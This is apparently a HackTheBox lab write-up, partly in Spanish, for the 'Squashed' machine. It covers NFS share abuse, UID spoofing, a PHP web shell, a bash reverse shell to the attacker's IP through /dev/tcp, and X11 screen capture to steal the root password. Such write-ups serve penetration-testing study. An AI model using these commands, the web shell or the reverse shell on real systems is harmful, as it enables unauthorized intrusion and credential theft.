Squashed - HackTheBox
Easy-level machine, a quiet interesting machine that is actually realistic. Squashed abuses a couple of NFS shares in a nice introduction to NFS.
Summary
- IP: 10.10.11.191
- OS: Linux (Ubuntu)
- Services & Applications:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35727/tcp6 mountd
| 100005 1,2,3 39826/udp mountd
| 100005 1,2,3 56326/udp6 mountd
| 100005 1,2,3 59739/tcp mountd
| 100021 1,3,4 33043/tcp6 nlockmgr
| 100021 1,3,4 43517/tcp nlockmgr
| 100021 1,3,4 50716/udp nlockmgr
| 100021 1,3,4 55216/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
39669/tcp open mountd 1-3 (RPC #100005)
43517/tcp open nlockmgr 1-4 (RPC #100021)
50377/tcp open mountd 1-3 (RPC #100005)
59739/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Recon
- Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.11.191 -oG allPorts
- Escaneo profundo de puertos encontrados:
$nmap -p22,80,111,2049,39669,43517,50377,59739 -sCV 10.10.11.191 -oN targeted
Análisis de página web:
- En la página web principal no encontramos nada interesante, solo vemos servicios de decoración de hogar.
Análisis de servicio NFS (Puerto 2049):
-
Al echar un vistazo en Pentesting NFS Service - HackTricks, podemos aprender un poco sobre enumeración de este servicio.
-
Entonces, para saber que carpeta tiene el servidor disponible para montar usamos el siguiente comando:
$showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
- Podemos ver dos directorios, los montamos, el primero en una carpeta llamada “ross_home” y el otro en “web”:
$mount -t nfs 10.10.11.191:/home/ross /home/dante/mnt/ross_home/ -o nolock
$mount -t nfs 10.10.11.191:/var/www/html /home/dante/mnt/web/ -o nolock
- Ahora si intentamos examinar lo que hay en el directorio web, no podremos porque nos dice “permiso denegado”, si vemos los permisos que tiene el directorio podemos ver que el propietario tiene la UID
"2017"
y pertenece al grupo “www-data”, entonces parabypassear
esto y poder tener acceso, simplemente nos creamos un usuario y le asignamos dicha UID:
$sudo adduser prueba
$usermod -u 2017 prueba
- Ahora accedemos como dicho usuario
"prueba"
y deberíamos poder ver los recursos del directorio web.
$ su prueba
-
Al examinar index.html, podemos darnos cuenta que los recursos web que hay se tratan de los mismos que se nos muestra al acceder a la página web principal (La página que nos muestra servicios de decoración de hogar).
-
Ahora, como tenemos permisos de escritorio en este directorio, podríamos simplemente subir un archivo malicioso, en este caso
PHP
, el cual nos permita ganar acceso al sistema de la máquina víctima.
$nano cmd.php
<?php echo passthru($_GET['cmd']); ?>
- Ya creado el archivo, accedemos mediante el navegador y confirmamos que podemos ejecutar comandos usando el parámetro “cmd”:
http://10.10.11.191/cmd.php?cmd=whoami
- Nos entablamos una reverse shell y accedemos al sistema como el usuario “alex”:
http://10.10.11.191/cmd.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.144/443 0>%261"
- Dentro del directorio “/home/alex” encontraremos la primera flag.
ESCALANDO PRIVILEGIOS:
X11 exploit:
-
Si entramos al directorio “/tmp” podemos ver un archivo
"screen.xwd"
, si buscamos en Hacktricks esta extensión de archivo encontramos lo siguiente 6000 - Pentesting X11 - HackTricks -
Podemos suponer que la máquina víctima está usando este
protocolo de pantalla remota X11
por detrás, por lo que podemos obtener, por ejemplo, la captura de algún usuario activo dentro del sistema, entonces, si enumeramos los usuarios conectados en el sistema podemos ver lo siguiente:
$w
01:02:09 up 1 day, 19:36, 1 user, load average: 3.14, 3.27, 3.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 Fri05 43:36m 4:53 0.04s /usr/libexec/gnome-session-binary --systemd --session=gnome
-
Podemos observar que el usuario
"ross"
está conectado dentro del sistema; entonces ahora la idea es usar el protocolo X11 que habíamos encontrado antes para intentar capturar la pantalla del usuario “ross” ya que se encuentra conectado en el sistema, sin embargo, solo es posible capturar la pantalla del usuario con el que estamos conectados actualmente (recordemos que somos el usuario"alex"
). -
Pero recordemos que anteriormente habíamos montado mediante el servicio NFS el home del usuario “ross”, así que accedemos a este en busca del archivo
".Xauthority"
que es el archivo que contiene información de autenticación para el servidor de pantalla X, que es el servidor de ventanas gráficas que se utiliza para ejecutar aplicaciones gráficas en sistemas Unix/Linux. -
Dentro del directorio donde montamos el home de “ross”, si vemos los permisos podemos darnos cuenta que el propietario del archivo “.Xauthority” tiene como UID
"1001"
, así que hacemos lo mismo que hicimos pasos anteriores, en este caso, asignándole dicha UID al usuario que ya habíamos creado:
$usermod -u 1001 prueba
- Ahora, transferimos este archivo a la máquina víctima, para esto, lo convertimos en
base64
y lo guardamos en otro directorio de nuestra máquina atacante:
$cat .Xauthority | base64 > /tmp/xauth
- Ahora en este directorio nos montamos un servidor en python:
$python3 -m http.server
- En la máquina víctima, dentro del directorio
"/tmp"
descargamos el archivo:
$wget 10.10.14.144:8000/xauth
- Lo decodeamos y lo renombramos:
$cat xauth | base64 -d > .Xauthority
- Y ahora exportamos este archivo a la variable
"Xauthority"
de nuestro sistema para que el entorno X11 piense que estamos conectados como el usuario “ross”:
$export XAUTHORITY=/tmp/.Xauthority
- Y con todo esto hecho ya podremos sacar una captura de pantalla del usuario
"ross"
el cual está conectado en el sistema, haciendo uso del comando que podemos encontrar en Hacktricks:
$xwd -root -screen -silent -display :0 > screenshot.xwd
-
Transferimos este archivo a nuestra máquina atacante.
-
Convertimos el archivo en
PNG
:
$convert screenshot.xwd screenshot.png
- Abrimos la imagen y podemos ver en la captura una credencial para el usuario “root”, el cual usamos para
pivotar
al usuario root:
$su root
- Seremos
root
y podremos ver la flag en el directorio “/root”